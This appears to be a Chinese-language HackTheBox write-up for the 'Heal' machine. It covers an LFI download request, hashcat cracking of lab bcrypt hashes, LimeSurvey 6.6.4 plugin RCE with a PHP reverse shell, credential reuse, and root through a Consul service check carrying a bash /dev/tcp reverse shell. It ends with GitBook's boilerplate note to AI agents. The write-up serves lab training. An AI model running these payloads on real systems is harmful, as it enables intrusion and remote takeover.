> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md).

# Heal HackTheBox 解题记录

{% embed url="<https://app.hackthebox.com/machines/640>" %}

{% hint style="warning" %}
**技能：**

* LFI（本地文件包含）
* LimeSurvey 中的 RCE（远程代码执行）
* 使用 Hashcat 破解哈希
* 用户横向移动
* 通过 Consul 提权
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/d6d71bb3d10595505db5e00f6d5808264594aa8f" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/92226ce526e80611d3ce076eed4e49515282f7f5" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.46 -oG allPorts
```

<figure><img src="/files/7880d4ebe9eba50a703e07cfcfeb4d44ca307795" alt=""><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：(22,80)

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,80 10.10.11.46 -oN targeted
```

<figure><img src="/files/4a65a4a69d7988929661e5a918214b939306d73f" alt=""><figcaption></figcaption></figure>

为了通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址相关联的域名插入到 `/etc/hosts` 文件：

<figure><img src="/files/53ae796efd56d0b235096afa14d0eddacca1a178" alt="" width="563"><figcaption></figcaption></figure>

### 端口 80 - HTTP

<figure><img src="/files/668d25c3dd327a773eee35b616baa99bae05c43c" alt=""><figcaption></figcaption></figure>

在主站点上，我们发现可以 **创建用户账户**.

<figure><img src="/files/c2ae290113bc54cf95e240ca7a6039156efd1fd5" alt=""><figcaption></figcaption></figure>

连接后，我们发现一个允许 **将简历导出为 PDF 格式**.

<figure><img src="/files/0d980901a73423ea53f73a757cb07150af333be4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/516176e943b573ede7ba8d4ac6be117818edd9c7" alt=""><figcaption></figcaption></figure>

## LFI（本地文件包含）漏洞

#### 通过……利用 LFI `简历`

通过拦截简历下载请求，我们发现了一个 LFI 漏洞：

```json
GET /download?filename=../../../../../etc/passwd HTTP/1.1
Host: heal.htb
Authorization: Bearer <token>
```

> 这是 **必须包含令牌认证**，否则查询失败。

<figure><img src="/files/fbd0e13a994e5b7477f82603bbf0f881874978ff" alt=""><figcaption></figcaption></figure>

### 敏感文件提取

#### 访问 SQLite 数据库

通过列举敏感文件，我们发现重定向到 `/storage/development.sqlite3`

<figure><img src="/files/b6da821c2fa108223c5e7bae78d8c0ff1b4a2a2b" alt=""><figcaption></figcaption></figure>

数据库被下载，并提取出两个账户及其 **bcrypt 哈希**:

```
admin@heal.htb
$2a$12$bLOjNMD13FW7vBJfHEZ5tu.inAHM/kxF.yTmbLkC8qg4iV5vHqDDO

ralph@heal.htb
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG
```

<figure><img src="/files/b3d137ba22f9f716f46acdfd5213dccda283f41f" alt=""><figcaption></figcaption></figure>

### 哈希破解

#### 使用 Hashcat

使用 **Hashcat** 尝试破解哈希 `rockyou.txt`:

```bash
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt
```

> 结果：我们找到了 **ralph**/ `ralph@heal.htb : 147258369`

<figure><img src="/files/f355d9b8743cbaf7132581fdd72e1948dd38fedc" alt=""><figcaption></figcaption></figure>

### 发现子域名： `take-survey`

<figure><img src="/files/b81facf2b9ad726ce2606b0c94ea311e5520e68f" alt=""><figcaption></figcaption></figure>

#### 将条目添加到 `/etc/hosts`

应用程序中出现了一个新子域名。我们将其添加到 hosts 文件中

## LimeSurvey CMS 漏洞

{% embed url="<https://nasirli.medium.com/limesurvey-6-6-4-rce-0a54c2c09c5e>" %}

<figure><img src="/files/5a1fa3496079b6f7bb9207542c5285fdc10f691e" alt=""><figcaption></figcaption></figure>

#### 访问管理后台

发现管理界面可通过以下 URL 访问：

`http://take-survey.heal.htb/index.php/admin`

我们使用 Ralph 的凭据登录：

* **用户名** : `ralph`
* **密码** : `147258369`

<figure><img src="/files/8e42718ed8a04f12a4c5f5ac446ff9293a2498a7" alt=""><figcaption></figcaption></figure>

我们发现使用的 LimeSurvey 版本是 **6.6.4**，其存在一个 **远程代码执行（NCE）**.

<figure><img src="/files/460955f3edead392101e0284d9b111b252e58590" alt="" width="563"><figcaption></figcaption></figure>

### 通过恶意插件利用 RCE

{% embed url="<https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE>" %}

我们根据自身情况调整了运行脚本。

<figure><img src="/files/5e3dd228a7f8c76662e95944ce8a7063863b3a4a" alt=""><figcaption></figcaption></figure>

首先，我们创建了一个包含 `config.xml` 文件和一个 PHP 反向 shell 脚本：

```bash
zip -r N4s1rl1.zip config.xml revshell.php
```

<figure><img src="/files/21c346c94c3ce962d1f255a658c534bb75c47224" alt=""><figcaption></figcaption></figure>

然后，我们通过 LimeSurvey 网页界面安装了这个恶意插件。

<figure><img src="/files/fb09da411ebdce2925e56231867565c0195dcb39" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/70b688b26bb218038fe93c675c9f5b52860e6512" alt="" width="501"><figcaption></figcaption></figure>

将鼠标悬停在已安装插件上，我们检测到了插件 ID。

<figure><img src="/files/b34d9828559e9eb0aece8dfb69ef48d445434a52" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/5070aa061a126945a470db5428fe126063e78774" alt="" width="563"><figcaption></figcaption></figure>

在编辑脚本以包含该 ID 后，我们在 443 端口上操作：

```bash
nc -nlvp 443
```

最后，我们通过 Python 执行了该漏洞利用：

```bash
python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
```

<figure><img src="/files/39c3cbdf9c00223fba32d879939d1b7d4068911d" alt=""><figcaption></figcaption></figure>

#### Linux 终端稳定化：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## 横向移动到用户 ron

通过探索该机器，我们找到了另一个用户 **ron**.

<figure><img src="/files/b60875d71148fd83f051023ad17904161a643a66" alt="" width="563"><figcaption></figcaption></figure>

位于……中的配置文件 `应用程序` 文件夹中包含用于数据库访问的登录名和密码：

* 用户名 = `db_user`
* 密码 = `AdmiDi0_pA$$w0rd`

<figure><img src="/files/bf2b4ebde3fb1f5aa064312ce427c546d8686303" alt=""><figcaption></figcaption></figure>

使用这些凭据，我们能够访问……的账户 **ron**，这使我们得以获取 **旗标 user.txt**.

<figure><img src="/files/28353ea64f40ee9a0b3fc9de2ef7f88aa65afffa" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="/files/2107955812691af839f656201e0a87341b5b1723" alt="" width="563"><figcaption></figcaption></figure>

## **权限提升**

### 发现 8500 端口（Consul）

查看开放端口后，我们发现端口 **8500**，对应于 Consul 的网页界面。

<figure><img src="/files/81d0f11be8d312d829f4a47fcf0ea90e3b6e3672" alt=""><figcaption></figcaption></figure>

在对……进行查询后 `127.0.0.1:8500/ui/`，我们找到了 Consul 的版本 **1.19.2**.

```bash
curl 127.0.0.1:8500/ui/
```

<figure><img src="/files/6d4cfbfe567d1c023f953d9fb341a0e80d1b6c85" alt=""><figcaption></figcaption></figure>

#### REST API 访问检查

我们测试了 Consul REST API，以检查是否无需身份验证即可访问：

```bash
curl http://127.0.0.1:8500/v1/agent/self
```

我们收到了确认该 API 已开放的响应。

### 通过恶意检查进行利用

我们注册了一个带有恶意检查的服务，使用 bash 命令向我们的机器建立反向 shell：

```bash
nc -lvnp 4444
```

#### 注册一个带有恶意检查的服务

Consul 允许通过 HTTP 请求动态注册服务。我们利用这一点创建一个执行 bash 命令的“check”。

```bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{
  "Name": "pwned",
  "ID": "pwned",
  "Check": {
    "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"],
    "Interval": "10s"
  }
}'
```

此载荷的作用：

* `Check.Args[]`：包含一条 bash 命令，用于打开一个 **反向 shell**.
* `Interval`：设置每 10 秒自动执行一次。

运行该载荷后，我们成功获得了 root shell。

<figure><img src="/files/77eb08aa45ca575d0f4e2be20b2bed3053a79534" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/8f0de029030f3939282dcd6793a8231089633670" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/fccb15a6eb90bee19373a49b6a8b7400422abb0a" alt="" width="344"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
